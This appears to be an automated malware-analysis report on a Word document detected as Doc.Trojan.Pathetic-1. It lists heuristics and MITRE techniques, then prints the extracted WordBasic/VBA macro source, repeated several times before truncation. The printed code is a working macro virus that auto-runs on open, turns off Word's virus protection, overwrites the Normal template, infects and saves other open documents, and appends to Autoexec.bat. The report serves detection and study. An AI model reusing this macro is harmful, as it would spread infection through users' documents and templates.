MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious OLE document containing a legacy WordBasic auto-exec macro named 'autoopen'. This macro attempts to export VBA components to 'C:\vb.txt' and then import them into the NormalTemplate and other open documents, indicating an attempt to establish persistence or load additional malicious code. It also appends a command to 'C:\Autoexec.bat', suggesting further execution or system modification. The ClamAV detection further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Pathetic-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Pathetic-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4256 bytes |
SHA-256: f35ce298237113895364ae9449b36201d590d1fd4de5c4d5e7b15e465007ac0a |
|||
|
Detection
ClamAV:
Doc.Trojan.Pathetic-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module111111111111111111"
Attribute VB_Base = "1Normal.Module1111111111111111111"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
On Error Resume Next
Dim d As Document
Dim t As Template
Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If d.VBProject.VBComponents.Count <> 1 Then
d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If
If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 1 Then
t.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
For i = 1 To Word.Windows.Count
If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
Word.Windows.Item(i).Document.Save
End If
Next i
Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
'Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1
If Month(Now) = 5 Then
d.Close 'Pathetic I Know !
End If
End Sub
Attribute VB_Name = "Module1111111111111111111"
Sub autoopen()
On Error Resume Next
Dim d As Document
Dim t As Template
Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If d.VBProject.VBComponents.Count <> 1 Then
d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If
If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 1 Then
t.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
For i = 1 To Word.Windows.Count
If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
Word.Windows.Item(i).Document.Save
End If
Next i
Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Application.UserName
'Print #1, "@copy c:\windows\*.ini super.ini /Y"
Close #1
If Month(Now) = 5 Then
d.Close 'Pathetic I Know !
End If
End Sub
Attribute VB_Name = "Module11111111111111111111"
Sub autoopen()
On Error Resume Next
Dim d As Document
Dim t As Template
Dim i As Integer
Set d = ActiveDocument
Set t = NormalTemplate
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
If d.VBProject.VBComponents.Count <> 1 Then
d.VBProject.VBComponents.Item(2).Export "C:\vb.txt"
End If
If t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines > 1 Then
t.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, t.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
t.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
If d.VBProject.VBComponents.Item(1).CodeModule.CountOfLines < 1 Then
d.VBProject.VBComponents.Item(1).CodeModule.AddFromFile "C:\Vb.txt"
End If
For i = 1 To Word.Windows.Count
If Word.Windows.Item(i).Document.VBProject.VBComponents.Count = 1 Then
Word.Windows.Item(i).Document.VBProject.VBComponents.Import "c:\vb.txt"
Word.Windows.Item(i).Document.Save
End If
Next i
Open "C:\Autoexec.bat" For Append As #1
Print #1, "@echo The beak of the salmon " & Applicat
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.